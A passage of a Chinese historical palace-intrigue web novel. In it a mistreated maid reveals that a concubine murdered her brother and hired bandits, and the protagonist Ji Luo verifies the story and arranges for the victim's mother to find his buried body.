如常,她道:“那日姑娘罚了凝露姐姐之后,凝露姐姐就感了风寒,我见她身子实在不好,所以便让她先歇着,免得过了病气给姑娘。” 这话她是斟酌着说出口的。 虽说凝露确实是犯了错,可却也给王玉盈办成了不少事,凝芳自然也不敢让王玉盈知晓她背地里做的那些事。 果真王玉盈听她这样说才点了头,顿了片刻之后又吩咐道:“你明日再去看看她,给她带些补身子的东西过去,就说是我的意思。” 凝芳自然应着。 而王玉盈做此安排,倒也并非是因着当真对凝露有多深的感情。 只是她心底明白,凝露帮她做了不少事,知道的东西自然也不少。 倘若让凝露心底生了怨气,对于自己而言也绝非好事。 总归稍稍给些好处便能安抚,倒也不必做得太绝。 只是她不知凝芳与凝露之间的这些恩怨,更是不知看似胆小老实的凝芳,竟也能做出当面一套背后一套的事情来。 而凝露心底,更多的却并非是怨恨,而是走投无路的绝望。 她拖着艰难的步子一步步往回走,因着实在疼得厉害,甚至趁着夜色在假山旁坐了好一会,等稍稍缓过来才准备回去。 可当她走到浣衣房的时候,却不由自主地停下了脚步。 因为她突然想到,即便她今日受到这般折磨,明日一早,依旧要起来继续浣洗衣物,甚至一刻停歇的时间都不能有,浣衣房里有一位嬷嬷受了凝芳的关照,几乎是时时刻刻盯着她。 等到了午间,她只吃半个馒头,再用水生生噎下,而后便到了下午,依旧是没有停歇的干活。 一整日下来,她的手通常会被水泡得发白发皱,几乎瞧不出原本的模样…… 这些时日,她每一日都是过着这样的生活,但那时候,她心底还存了希望,总以为这一切会有尽头。 可今日,她去见了王玉盈,但最终她什么都没能改变。 这一瞬,她忽然明白了,这一切的尽头唯有一个,那便是死亡…… 她不由打了个激灵,似乎一瞬间清醒过来。 她不能再这样下去了,她不能就这样不明不白地丢了性命。 而唯一能救她的,或许只有……纪萝。 *** 青萝院。 午后阿福已经传了消息过来,关于袁庆生与茵娘的事,他也费心调查了一番。 但只知王玉盈那般闹过一遭之后,袁庆生便当真将茵娘接回了家中,而与王玉盈和离之后,茵娘也确实与袁庆生顺理成章地成了婚,甚至婚后二人也颇为恩爱,如今茵娘已经再怀了身子…… 如此看来,这事倒当真像是王玉盈当初所言那般,茵娘是袁庆生养在外间的外室,袁庆生与她和离之后便登堂入室,如今已是成了袁庆生的正室夫人。 倒是瞧不出古怪之处来。 只是…… 纪萝怎么想着都觉得不对劲,可到底说不出这问题出在何处,最终只能让阿福继续盯着便是。 若是顺着袁庆生这条线查不出什么来,这事怕就有些难了。 这日夜里,纪萝也是辗转睡不着,一心想着袁庆生与王玉盈之间的那桩事,又想到王玉盈的那个孩子,反复思忖那个孩子到底与赵承嘉是否有关。 吉香所言虽然有些道理,但这样的事定是要先弄清楚始末,再拿了证据才能有个定论。 否则不过揣测罢了。 而正当纪萝翻来覆去无论如何不得安睡之时,外间却传来叩门声,说话的声音是蓉芳,“夫人可醒着?是王姨娘身边的凝露来了,说是有要紧事要见您。” 凝露过来时蓉芳也是实实在在地吓了一跳。 毕竟凝露这会儿看起来情况很是不好,脸色更是惨白得吓人。 后头听她说想见纪萝,蓉芳更是意外,“夫人这会儿已是歇下了,不如你明日再来?” 但凝露竟扑通一声就给蓉芳跪了下来,“蓉芳姐姐,我实在是有要紧事要见夫人,怕是等不到明日了……” 见她如此,蓉芳又是慌了神,手忙脚乱地要将人扶起来,颇为为难道:“那我去帮你与夫人说一声。” 凝露听她如此说,又是千恩万谢地说了不少感激的话。 而纪萝听到蓉芳说凝露要见她,虽心底觉得有些奇怪,但却没有多说什么,只道:“让她进来吧。” 蓉芳没想到纪萝果真还醒着,便也答应下来。 纪萝起身披了件外衫,蓉芳也正引着凝露进来。 一见凝露如今的模样,纪萝不由蹙眉,“怎么弄成了这副模样?” 纪萝见过凝露几回,她虽是王玉盈贴身伺候的婢子,可性子与王玉盈却并无相似之处。 她胆子大,有时候仗着王玉盈的威风,做事也嚣张几分。 即便是到了纪萝面前,也从来事不落于下风的。 可此时的凝露,却让纪萝几乎要认不出来。 她身上的衣裳满是脏污,面色苍白,而一侧脸上却又留了清晰的巴掌痕,显然是被人打了。 更为重要的是她的神情颇为怯懦,与从前模样全然不同。 听纪萝问起此事,凝露张了张嘴,却不知该如何解释,最终只得道:“老夫人寿宴那一回,是王姨娘的算计,她见夫人最后安然无恙,便怪罪于奴婢,说奴婢办事不力,责罚了奴婢。” “王姨娘身边的凝芳与奴婢向来不对付,于是借机处处为难奴婢……” 听到此处,纪萝也知事情的原委了,也同样明白凝露此番来见她的缘由。 第58章 “夫人。”凝露既已经打定主意要求得纪萝的庇护,自是要拿出投名状来的,而眼下能拿捏住王玉盈的最大把柄便是王绍之事,她咽了口口水,轻声道:“王姨娘她……杀了她的亲弟弟王绍。” 这话一出,纪萝神色一变,“你说什么?” “王姨娘她杀了她亲弟弟。”凝露抬眼看向纪萝,语气也认真了几分,“这是奴婢亲眼所见,就在方才,王绍的尸身还躺在王姨娘的房中。” 纪萝闻言更是意外,“你的意思是说王姨娘是在她自个院中杀的人?” 凝露点头,索性将方才自己瞧见的景象都尽数说了出来,“除却王姨娘之外,她房中还有一男子做帮衬,我倒是不曾瞧见那人面容,不过听王姨娘的意思,这男子亦是杀害王绍的帮凶。” “我在门口偷听了一会,听得王姨娘令那男子帮忙处理尸身,说是让他借着厨房运送蔬菜的名义将尸身运出侯府,而后说是随便寻一处地方掩埋……” 纪萝初听凝露说王玉盈杀了王绍,其实只信了三分,毕竟这事实在是荒唐。 可这会儿听她将话说得有鼻子有眼,实在不像是凭空扯谎,便不由又多信了几分,“这附近能掩埋尸身的山林不多,为寻方便,想来那人也不会将尸身送去太远的所在,明日一早,我会令人去查一查。” 倘若能将王绍的尸身寻来,那便是最为确凿的证据了。 凝露闻言连忙点头,“我听王姨娘的意思,厨房那边与侯府的今夜的守卫都收了她的好处,夫人若要查,这些人或许也能有些线索。” 纪萝见她这般上心,自是应着,又道:“凝露,你跟在王姨娘身边时间也不短了,她做的那些事,你知道的应当不止这一桩吧。” 纪萝从回了侯府便一直在调查王玉盈,只是这事实在不易,她费尽心思也只是猜测王玉盈曾经怀上的那个孩子或许有些古怪,后边查到袁庆生与茵娘,线索却又到此断了。 眼前 的凝露对于纪萝而言当真是唯一的希望,若是可以,她自是想通过凝露知晓更多。 “夫人想知道什么?”凝露没有否认,关于王玉盈的事,她知道的确实不少。 “我在庄子时曾遇上三个匪徒,他们闯入庄子里,杀了芸枝。”纪萝语气一顿,而后接着道:“我想知道,此事与王玉盈,是否有关?” 这件事,便是纪萝最想知道的。 凝露点头,“这事是王姨娘做的安排。” 她将那三个匪徒的来历包括王玉盈是如何买通对方对纪萝下手的都尽数说了出来。 “王姨娘一心想做正室夫人。”凝露轻声道:“彼时她得知夫人您只是被赶去了庄子,却并未被休,心下十分不甘,又觉得倘若不趁着这个机会杀了您,往后等您回了侯府,她再要动手就难了,所以索性与那几个匪徒做了交易。” 纪萝原本便猜到了这事与王玉盈有关,如今听凝露将一切都说了出来,竟也与她猜测的相差无几。 不过凝露所言,纪萝再如何也只能信一半,另外一半她需得自己去验证。 毕竟凝露再如何也还是王玉盈身边的人,纪萝不能保证今夜的这一切并非是王玉盈的一场算计。 毕竟寿宴上那番算计,王玉盈可是半分不曾得了好处,她因此心底生了怨,再想法子对付纪萝也并非没有可能。 “对了,除却这事,王姨娘最初怀上的那个孩子也并非是侯爷的。”凝露已经将自己所知道的那些事都尽数说了,连同王玉盈与袁庆生之间的那些恩怨也不曾隐瞒。 不管这些事到底是真是假,纪萝听着心下都颇为震惊。 她早知王玉盈并非什么好人,但却也真不曾想过她为了能做这侯府夫人,竟是连她身边人都不曾放过。 等凝露将所有一切尽数说完,纪萝便令蓉芳拿了一锭银子塞给她以做赏赐,可不想凝露却往后退了一步,而后哽咽着跪了下来,“奴婢来告诉夫人这些并非是为了银子。” “你是想……让我帮你?”纪萝的目光落在她脸上那道红痕上,心底也大约有了猜测。 凝露连连给纪萝磕头,“夫人,奴婢不求别的,只求能有个安身立命的所在便足矣。” 她是想离开观荷院。 “你说的这些话我会一一去验证。”纪萝心里已经有了主意,“倘若你的话是真的,我会想法子让你离开观荷院,至于你到底是想继续留在侯府伺候,还是想出府去都由着你自己。” 凝露的话她虽然信了几分,可到底还不能确定,她不会只凭着凝露的这些言语便下了定论。 事实如何,还需得一一查验。 凝露听得这话虽有些失望可却也并不算意外,她只是将一切尽数告知了纪萝,却并未能拿出什么证据来。 况且纪萝方才那一番话,也算对她有了承诺。 至少她为自己争取了一线生机。 如此想着,她又恭恭敬敬地向纪萝行了一礼,而后道:“那奴婢就先告退了。” “等等。”纪萝却出言叫住了她。 凝露脚步顿住,就听得纪萝向蓉芳吩咐道:“去拿些我素日用的伤药过来。” 蓉芳应着,不多时便取了一瓶伤药过来。 纪萝道:“你一个姑娘家,脸上这伤痕留着总归不好,用了这药,明日一早起来便能消下去许多。” 凝露一愣,下意识接过蓉芳递过来的伤药,那白玉瓶触手温润,虽不还曾用里间的伤药,可却也能猜到里边东西也定不寻常。 她在王玉盈身边伺候了这么多年,便是为王玉盈的缘故受了多重的伤,都不曾得过这样的赏赐。 她正想着,纪萝却令蓉芳也依旧将那锭银子塞到了凝露手中。 凝露以为纪萝这是不愿帮她,有些慌张地看向纪萝,却不想纪萝道:“这银子你先收着,总会有用得上的时候,至于帮你的事,你放心,只要你说的这些话是真的,那我定然会帮你的。” 听着纪萝这般承诺,许是因着这些时日实在受了不少苦,她甚至眼底止不住有些酸涩,最终只再度向纪萝行了一礼,“夫人往后若是有什么需要帮衬的,只管来寻奴婢。” “只要是奴婢能做的,奴婢定不会推脱。” 纪萝轻轻点头,“好。” 凝露这才起身离开。 看着凝露离去的背影,纪萝总觉得,往后需要用上这人的地方,应当是不会少的。 *** 翌日一早,纪萝便先安排了人去厨房打听。 既然王玉盈是使银子买通这些人的,只要再多给他们些银子,他们也会毫不犹豫地说出实情来。 果然,纪萝几乎没有费什么功夫就从这些人口中得知确有这么一桩事,还打听到那人出了侯府的门之后便往西边去了。 之后的事情纪萝便索**到了阿福的手上。 阿福在上京的街头巷尾混迹多年,要让他去寻到这一样一处埋尸的所在应当也不算太难。 与他交代清楚事情的原委之后,阿福心底便已经有了猜测,他应下之后便匆匆走了。 若能寻着这样一具尸身,凝露说的那些话也就有一部分已是得了验证,至于剩下那些,也就能顺势多信几分了。 毕竟她连王玉盈杀人之事都告知了自己,那便也没必要在旁的事情上做假了。 而接下来纪萝要做的,便是等一个好消息。 只是她不曾想到的是王绍尸身的事情还没有个定论,当日夜里,谢元墨却来见她。 “这永宁侯府当真是你来去自如的所在。”纪萝打开窗户,瞧见立在窗户外间的谢元墨不由有些无奈,“你当真不怕有一日被旁人发现,到时候侯府怕是不会放过了你。” 谢元墨轻笑一声,“那我便等着赵承嘉来定我的罪。” 纪萝知他在开玩笑,也没有深究,只问他:“可是那几个人有了消息?” 上回他来时,曾与纪萝说好要帮她寻那几个害死芸枝的匪徒,这回再来,纪萝自是觉得他是有了消息。 谢元墨也果真点了点头,“三个人已经抓住了两个,正等着你去审问呢。” 纪萝几乎没有迟疑,“你且等等,我换身轻便的衣裳便来。” 说罢,很快关了窗户。 不多时,她换了一身暗色的衣裙,裙身颇为简单,确实轻便,她看向谢元墨,上下打量了他一番之后转头吩咐蓉芳取来了一套杂役的衣服,而后递给他,“你换上这身衣服罢,我带你出去也方便。” 谢元墨倒是没有矫情,接过那身衣裳点头应着。 纪萝又吩咐人备好了马车,等谢元墨换好衣裳之后便顺理成章地带着他出了府。 这会儿天色虽已是不早,但纪萝眼下在侯府还是有些权力,再加之王氏对她也算看重,而恰巧白日里说是侯府的一间商铺出了些岔子,但因着纪萝如今并不在这些事情上边费心,所以也并未去管。 而这会儿却正好拿这事作掩护也不至于惹人怀疑。 第59章 那两人匪徒此时心中最为怨恨之人便是王玉盈了。 毕竟倘若不是王玉盈,他们也绝不至于落得这步田地。 更不说等他们求助于王玉盈之时,她竟是又骗了他们一回,让他们最终还是被捉进了大牢。 “二哥。”老三身上的伤势已经做过处理,所以这会儿他的情况反而不算太糟,“你说大哥去永宁侯府寻那个女人了,还能平安离开吗?” 老二捏紧了拳头,“大哥实在糊涂,竟是一而三再而三地信了这毒妇,到最后我们兄弟三人居然栽在了她身上!” 当初老大说要帮王玉盈时,他们心底就是存了疑的,总觉得这事没那么简单。 可奈何他们大哥决定了这事,那王玉盈也确实令人送了两百两银子过来。 他们一想,杀人这事对于他们来说确实不过小事一桩,既然这永宁侯府的姨娘是个出手阔绰的,那他们替她杀一个人也不是不行。 可不曾想想到这事竟是这般难办。 最后他们不仅没人将事办成,反而惹了一身麻烦,最后竟还进了大牢。 “反正如果官府的人问起来,我是绝对不会为那女人隐瞒,如果不是她,我们也不至于落得这步田地,既然我们的下场不好,那她也别想好过!”老三冷哼一声,从王玉盈骗了他们 第一回开始,他就没想过要再帮王玉盈隐瞒了! 老二的想法自然也是如此,“到时候将她供出来说不定算我们立下功劳,当然没必要再隐瞒什么!” 两人正说着,外间却有脚步声传来。 兄弟二人互相看了一眼彼此,心都不由得提了起来。 虽说他们早已将一切想好,可想到等下 自己便要遭受官府的审讯,心下依旧是止不住紧张。 衙役点亮了里间的烛火,略微有些刺眼的光亮让两人不由得眯起了眼睛,等稍稍适应些了才看清楚了外间立着的两人。 那女子面容瞧着好似有些眼熟,那男子却是从未见过的了。 衙役很是恭敬地上前开了门锁,接着是那女子先一步推门走了进来。 她的目光在那两个匪徒身上定了一瞬,而后问道:“大约一个半月以前,你们曾去过京郊的一处庄子对吧?你们闯进了那庄子,甚至还杀了人。” “是谁指使你们做的?” “这……”老二小心翼翼地看了一眼眼前的女子,越发觉得她的面容熟悉,听她提及那庄子的事才突然意识到什么,“您是当时的那位夫人,是永宁侯夫人?” 老三正要将王玉盈供出来,一听老二这样说也不由多看了眼前之人两眼,又回忆起那日庄子里的景象,连连点了头道:“是,她就是永宁侯的夫人。” 纪萝见他们二人辨认出自己身份,倒也并未隐瞒什么,只是顺势道:“既然你们能认出我来,也说明你们确实是见过我的。” “京郊那庄子的事,确实是你们几人做的罢?” 一听这话,两人又是沉默了一瞬,最终却是老二先开的口,“这事,是永宁侯府的王姨娘令我们去做的。” 听到这意料之中的答案,纪萝反而是松了口气。 若是王玉盈的话,这事就容易了。 “那位王姨娘不过是深宅大院里边的妇人,怎么与你们这些匪徒搭上线?”谢元墨觉得奇怪,便多问了一句。 关于这事老二老三倒是知道得并不算多,毕竟最初与王玉盈接触的唯有老大一人,他们只是依着老大的意思对纪萝动了手罢了。 所以这会儿听着谢元墨这话,两人皆是摇了摇头,老三道:“初时就是大哥定下了这事,我们也是后边才知让我们杀人的人竟是永宁侯府的姨娘,也不知他们二人是如何相识。” “那你们大哥现在何处?”纪萝顺势问道。 原以为他们二人应当不会愿意轻易吐露他们大哥的行踪,但不想一听这话,老三便叹了口气道:“大哥昨日夜里便去寻那女人的麻烦了,那女人性子狠毒,怕是不会轻易放过了他!” 在他们二人看来,去见王玉盈的老大比被关在大牢中的自己还要更是危险几分。 纪萝想起昨日夜里凝露说的那些话,想起她好似确实提过王玉盈方中还有一位男子,只是她并未瞧清楚那人面容。 倘若他们口中的大哥昨日夜里正好去见了王玉盈,那这一切不久正好能解释得通了? 所以纪萝忙接着道:“你确定昨日夜里你们大哥是去了永宁侯府,见了王姨娘?” 老三连连点头,“自然是,那女子害了我们一回,大哥便说要去向她讨要个说法,况且我正好受了伤,能买着药草的铺子都有你们官府的人盯着,大哥也是不忍看我就这般丢了性命,所以只能去找那女人帮忙。” 说到此处,他语气越发不忿,“谁能想到这女人心思这般狠毒,大哥昨日才去寻了她,今日她便将我们兄弟二人的行踪告知了官府,她这般不留情面,我们又何必替她遮掩?” 听到此处,谢元墨心知这两人大约对王玉盈有些误会,不过却也并未有要解释的意思。 而老三也依旧没有止住话头的意思,他看向纪萝道:“夫人,我们三人虽是山匪,可与您往日无怨近日无仇,再怎么也没有必要费尽心思去那庄子寻您的麻烦,而那位永宁侯府的王姨娘却嫉恨您多时,这事确实就是她的安排!” “……” 这兄弟二人显然对王玉盈颇为怨恨,甚至担心纪萝会不相信他们所言,用各种法子做了证明。 纪萝也确定了昨日夜里那男子的身份,显然便是他们两人口中的大哥。 自然,此人并非如同这两人所言一般落入王玉盈手中,甚至还帮着王玉盈杀人埋尸…… 只是这些事,纪萝也与谢元墨颇为默契地选择了隐瞒。 回永宁侯府的马车上,纪萝一直在思忖着方才的事,心里也已经有了安排。 纪萝见过几回王玉盈的母亲李氏,知道李氏的性子,她若知道王绍死在了王玉盈手中,定是不会轻易放过了王玉盈。 况且依着她之前的那些作为,为了给王绍铺路甚至能逼着王玉盈嫁去孙家,也足以见得她心底是有偏重的。 所以只要让李氏知晓王玉盈所做之事,那无需纪萝动手,李氏自会将此事闹大。 只是…… 等此事了了,她也得再为自己好好想想了。 和离的念头从萌生之初到如今,始终不曾变过。 只是赵承嘉恐怕却不会轻易应下。 好在她手中也并非全无赵承嘉的把柄,她从书房中偷来的那两封信,便是她为自己留下的后路。 而那个可以帮她利用好这两封信的人。 她不自觉将目光放在了谢元墨身上。 身份足够贵重,不至于被赵承嘉所拿捏住,更要紧的是他可以让这两封信发挥最大的作用。 而且他们一起经历了这样许多,也足以说明他是值得信任之人。 如此,他或许是最好的选择。 “倘若我要见你。”纪萝忽地开口问道:“我该去哪里寻你?” 谢元墨一怔,“你要见我?” “或者说,我有东西要给你。”纪萝意识到自己所言好像有些容易令人误会,于是又解释了一句。 只是她解释了之后,谢元墨的眸色似乎暗淡了下来,但却还是认真地做了安排,“若是着急的话,明日我也是有空的,我们可以在重景楼见面。” 纪萝自是觉察出他的失望,本想开口说些安抚的话,可不想谢元墨却先开了口,“原本这是你们夫妻二人的事,我似乎并不该说些什么,可到底我们之间也……也……” 他看向纪萝,片刻后才勉强道:“关系也算亲近。” 这话倒是不曾说错,他们之间的关系何止亲近,甚至是肌肤之亲。 说到此处,谢元墨大约有些尴尬,他轻咳了一声才接着道:“你那夫君这般待你,你何必还那样在意他。” 纪萝一愣,轻轻摇头道:“我会与他和离的。” “你要与他和离?”谢元墨眼底的喜色几乎无法掩藏,“那……那我……” 那句话到了嘴边,几乎就要说出口来。 可纪萝却先一步开了口,“和离之后我想离开上京,寻一处像那庄子一般的僻静所在,不求钱财富贵,只够养活自己倒也算是自在。” 她这般说,就是将谢元墨准备说出口的那些话堵了回去。 她虽不知谢元墨的身份,可也知道他家中定然是非富即贵的,这样的家世,即便家中父母能应允这桩婚事,也绝对给不了她想要的生活。 不若索性提早将话说清了,反而少了诸多牵扯。 可不想谢元墨听得这话,却依旧未有退却之意。 只是看着她,神色很是认真道:“这样也好,我寻了空隙也可以去你的庄子里看你,我现在农活干得可好了,浇水施肥都不在话下的,有我在,你都不需要再花银子请长工了,可是能省不少心思了……” 第60章 永宁侯府,书房。 那日见过谢元墨之后,他总时不时想起那只香囊。 上边的刺绣总给他一种颇为熟悉之感。 可无论他如何回忆,却总想不起那样的花纹在何处见过。 直至今日夜里他换上了纪萝从前给他做的寝衣,看见袖口处 有些熟悉的竹叶刺绣他才猛然间意识到什么。 难怪他无论如何回忆都想不起来那样的花纹他到底在何处见过,原来他确实是不曾见过这种花纹的。 之所以觉得熟悉不过是因为这刺绣的针法与习惯都颇为眼熟罢了。 花纹样式自有千万种不同,可同一人刺绣的习惯方式却是很少会有太大差别。 难道天子腰间的那只香囊,竟是出自纪萝之手? 赵承嘉猛然捏紧了拳头,又想起母亲寿宴那日,天子房中的那名女子…… 彼时没人相信纪萝与当今天子有私,但此刻,一切联系在一起,他却不得不生出怀疑来。 他猛然起身,匆匆往外间走去。 可等他到了青萝院,却并未见到纪萝。 他心底原本就存有怀疑心思,这会儿见纪萝深夜未归,更是几乎坐实了揣测,眼底的寒意越发瘆人,“说,夫人到底是去了哪里?” 蓉芳与吉香等人跪在赵承嘉面前,都被他这般怒火吓得不敢多言。 而纪萝却正在这时回来,她看见里间的景象,眸色微微沉了沉,但很快恢复如常,她抬手示意蓉芳等人退下,而后轻声道:“侯爷怎么来了?” 蓉芳等人觉察到里间的气氛很是古怪,见纪萝令自己退下,自是识趣得退出了房间。 而赵承嘉的目光却始终落在了纪萝身上,他缓缓起身靠近,“这么晚了,你去了哪里?” “有间铺子出了些差错。”纪萝早想好了说辞,这会儿解释起来倒也不难,“我方才去看了看,事情已经解决了。” 赵承嘉显然并未相信纪萝这番解释,他的目光中满是探究,“当真?” “侯爷若是不相信自可以将铺子里的伙计召来问一问。”纪萝神色淡淡,全然不曾因着他所言而有分毫慌乱之色。 自然,纪萝也不担心赵承嘉当真去向铺子里的伙计叫来询问,一则这事实在不算光彩,赵承嘉应当不会像这事被旁人所知,二则纪萝手中亦有他的把柄,自然也不会怕了他。 可纪萝这副平静的模样却更是勾得赵承嘉心火更盛,他冷笑一声,“你既然这样说了,想来即便我找了那些伙计,也问不出什么来!” 纪萝的目光落在赵承嘉身上,片刻后她轻轻叹了口气,“侯爷若有心怀疑我,旁人的佐证自是不会信的。” 她其实早无心与赵承嘉这般虚与委蛇,只是眼下却还需要拖延一些时间,所以只能如此。 赵承嘉眸色沉得厉害,纪萝也不知自己的话他到底是信了几分。 半晌,赵承嘉一步步走到纪萝面前,刚欲开口,外间却传来敲门声,赵承嘉皱眉,便听外间传来他随从的声音,“侯爷,陛下急召!” 赵承嘉脸色一变,“可有说是什么事?” “不曾。”随从语气急促,“只是说陛下急着见您,让您尽快入宫。” 赵承嘉想起自己的揣测,颇为怀疑地多看了纪萝一眼,只是纪萝神色如常,并瞧不出什么异常来。 而外间随从又催促了几句,赵承嘉到底不敢耽搁,只能匆匆离开。 看着赵承嘉的背影被夜色吞没,纪萝心底那个念头越发坚定,她知道,自己不能再等下去了。 现在一切都进行得极为顺利,唯一需要的,便是王绍的那具尸体。 只要能寻到尸体,便能证实王玉盈所做之事,一切也就简单了。 而翌日一早,阿福便带来了好消息。 王绍的那具尸身果真在西边的山林中发现的。 匪徒的头领当日掩埋尸身时时间本就仓促,也只能就近寻一处山林将这事了了。 所以阿福从侯府离开之后便直接往西边去,在距离侯府两个时辰路程的所在寻到了这一处山林。 正好这两日并未下雨,新翻的土地很明显便能瞧出不对来。 阿福在那山林中多绕了两圈,便寻着了这掩埋王绍尸身的所在。 纪萝得知这消息自是欢喜,她一边安排了人去与凝露通了气,另一边又安排了人向李氏透露这个消息。 王玉盈所做的这些事本就是自寻死路,纪萝也无需将莫须有的罪名安到她的头上,只需让她犯下的罪行被旁人所知道,便足矣令她再无翻身的可能。 *** 王家。 李氏正在院中焦急地等着,安排前去寻人的下人至今未有消息传来,王绍常去的那些所在也都一一寻过来,可是都是这两天并未见过他。 其实若是平日,王绍偶尔一夜两夜宿在外边,李氏也并不至于这般兴师动众地寻人。 毕竟王绍那性子她这个做母亲的最为了解,在那些青楼酒肆有些出格之举都算寻常之事。 偏偏又不服从管教,若是李氏过于苛刻,他恐怕会更是做出荒唐事来。 所以李氏即便有心管教,却也有诸多顾虑,并不敢太过严苛。 只是这两日却不同,她从相熟的世家夫人那里打听到了一个消息,说是近日上京来了一位夫子,这位夫子不仅学识过人,更是在官场上颇有人脉,若想入官场,这算是一个不错的路子。 李氏原本就一直幻想着能将王绍送入官场,奈何他并非是读书的料子,落第之后更是不肯在上边用心,李氏心底便也明白靠着科举这条路应当是行不通的。 所以自然也存了走别的路子的念头。 从前要将王玉盈嫁去孙家也有这一层缘故。 而这一回李氏得知这位夫子的事,几乎半分不曾迟疑就令人备下了厚礼,打算带着王绍亲自去拜访。 奈何却偏偏连王绍的人影都不见。 初时李氏倒是并未多想,她知道自己这个儿子向来是爱玩的性子,于是只吩咐人去他往日爱去的那几个所在寻了一遭,但不想一日下来,却依旧是没见着人影。 到这会儿李氏依旧未曾想过王绍可能会出什么事儿,只是觉得他这爱玩的性子该改一改了,否则总是要耽误了事儿。 之后便又安排了下人再去寻人。 但到今日,已经是第四日了。 家中的下人几乎都被安排去寻王绍了,可依旧不曾有消息传来。 李氏心底也慢慢生出了一些不安来。 王绍虽然爱玩,留宿在外边也不是稀罕事,可连着这样几日不曾归家却是实实在在的头一回,更不说李氏安排了那样多人去寻,几乎将整个上京能寻得地方都找了个遍,可却始终不曾见着人。 这令李氏如何安心? 她已经连着几日不得安睡了,原本是担心误了去见那夫子的时间,到后边却更是为王绍的安全担忧。 正在她为这事分外焦心之际,有下人匆匆进来向李氏禀报。 只是他还未开口,李氏就忙不迭地问道:“怎么了,可是有了阿绍的消息?” 下人摇头,但却呈上了一封书信,“方才外间有人送了这封书信过来,说是给您的。” 李氏原本以为是有了王绍的消息,心已经是提了起来,可不想只是一封书信。 她一下子失了兴致,但还是接过那封书信拆开,可等她瞧清楚上边的内容之后顿时脸色惨白,甚至声音里还带了颤意,“这……这信是谁人送来的?” 那下人见李氏脸色不对也并不敢隐瞒,忙道:“是一个大约八九岁的孩子,送了信之后就走了。” 李氏不自觉将手中的信纸揉皱,“带几个人,同我去一趟西边的林子。” 这样的吩咐虽有些没头没尾,可下人也不敢多言,只连忙应下。 一路上,李氏都在想着那封信里边的内容,心底又是担心又是害怕。 倘若这封信早两日送来,那她是半个字也不会相信的,只会觉得这挑拨离间的手段实在拙劣。 可偏偏眼下王绍已经失踪多日,而她吩咐人已经将整个上京城能寻的地方都寻过了…… 至于这信中说是王玉盈动手将人杀了,李氏原本是全然不信的,王玉盈的性子虽狠,但总不至于轻易杀人,更何况那人还是他的亲弟弟? 但她联想起前日她叫来王绍院中的人问话,好似他们确实提过王绍有说要去永宁侯府见王玉盈,至于到底是为了何事却是不知了。 可因着那是几日前的事,加之底下人也不过只提了一句,李氏又下意识觉得王绍不会在永宁侯府久待,还是去那些青楼酒肆留宿的可能性大些,所以倒是并不曾太将这事放在心上。 只是如 今又收到这样一封信,李氏即便再三在心底与自己说这一切或许只是有心之人的恶意挑拨,王玉盈再如何不可能做出这样的事来,可联想到这些事,心底也无法全然不存有怀疑。 眼下唯有去信上所说的林子里看看,倘若王绍的尸身当真被掩埋在那处…… 李氏不敢再往下细想。【你现在阅读的是 】 60-66 第61章 李氏带着人到了西边林子时天色已经暗沉下来。 天边的黑云沉沉压着,与不算茂盛的树林连成一片,更是令人喘不过气来。 信上说的所在是一棵颇高的大树底下,下边的泥土却是是新翻过的,看起来底下好似当真掩埋着什么。 “把这里……”李氏的声音微微有些发颤,“挖开。” 下人得了命令,很快开始动手挖了起来。 尸身掩埋得并不算太深,没过太久李氏便在里边看见了衣服布料的痕迹。 李氏的心揪了起来,可依旧没有让底下人停下动作。 很快,她看清了那具尸身的面容。 正是王绍。 这一瞬,她只觉得天旋地转,喉咙中有一股极为浓重的血腥味涌了上来,她艰难地往前走了两步,而后止不住跪倒在地,眼泪瞬间落了下来,“我的儿,你怎么……怎么就这样丢下为娘,怎么忍心就这样走了!” 说着,她宛如哀嚎一般大声恸哭。 旁边的下人也皆是跪下,四周寂静之极,唯有哭声卷在风里回荡。 *** 御书房。 赵承嘉从昨日夜里过来,到此时已经等了有三四个时辰了。 眼看天已经大亮,他心底若说全然没有怨言那自然是不可能的。 只是每当他有心想去问问还需等多久时,一旁侍奉的内监便会上前给他添些茶点之类,而后道:“陛下这会儿手头还有些事务不曾处理完,恐怕还需侯爷再等上一等。” 如此,赵承嘉即便再想说些什么,也只得将话咽了下去,而后点头道:“麻烦公公了。” 而后便默默继续等着。 但他怎么也不曾想到这一等就是一晚上。 眼看窗外天光乍明,他也实在有些忍不住了,起身便想再问问,那内监却又在此时匆匆进来,不等他开口便满脸歉意道:“侯爷,陛下那边传了话过来,让侯爷直接去上早朝便是。” 赵承嘉压下心底的情绪,尽可能平和心绪道:“公公可知昨夜陛下急召我入宫到底所谓何事?” 到了这会儿,他自然感觉出自己仿佛被戏耍了一般,心中有些不忿,想要问个明白也正常。 那内监似乎早准备了说辞,听得赵承嘉问起此事,他只不卑不亢道:“原本陛下昨日夜里确实有一桩急事需得侯爷做安排,只是后边却出了些变故,陛下的意思是便无需侯爷费心了。” 内监的话说得客气,赵承嘉心里纵然再如何憋屈,也只能应下。 只是联想起昨日夜里之事,他心底却很难不再多想。 天子这般安排,还正好是在昨日夜里他想向纪萝要个答案的时候令他进宫,甚至这般生生令他等了一夜,这让他心底如何能不起疑? 只是这人偏偏不是旁人而是当今天子,他即便想要个说法也无从开口。 更何况想要揣摩清楚天子的心意更是一桩难事。 他实在不知天子对纪萝是真心,还是只是一时贪图容色? 也更不知纪萝是如何想的。 而此时的永宁侯府也并不安宁。 李氏见了那具尸身之后大哭了一场,之后冷静下来,思路反而清晰了许多。 既然见到了王绍的尸身,那封信的内容便能再信上几分,只是这事到底是否与王玉盈有关却不能确定。 她先回了家中将王绍院中的人叫了过来。 这几个下人这会儿还并不知具体发生了何事,所以当李氏问话时言语间还有些迟疑。 毕竟当初王绍做事颇为荒唐,许多事他是不敢被李氏知晓的,所以也有吩咐院子里的人要管住他们的嘴,所以他们在李氏面前也不敢什么都说。 李氏见他们这副吞吞吐吐的模样,自然看出他们有所隐瞒,于是也不再与他们拐弯抹角,直接道:“阿绍出了事,如今我还不知凶手是谁,你们知道什么直接说便是,不必再遮掩什么。” “否则等我查出来,你们也脱不了干系!” 那几个在王绍身边伺候的下人闻言也都是变了脸色,他们显然都有些不敢相信王绍就这般丢了性命。 但显然事已至此,他们也确实没必要再隐瞒什么。 “说说吧。”李氏瞧出他们神色变化,知道他们大约不会再为王绍隐瞒什么,于是接着问道:“阿绍去永宁侯府,到底是为着什么事?” 那几个下人互相看了一眼对方,最终是跪在中间那个下人迟疑着开了口,“少爷他前几日在酒楼里欠了银子,便与那掌柜提了小姐,说了小姐的身份,让记在小姐账上。” 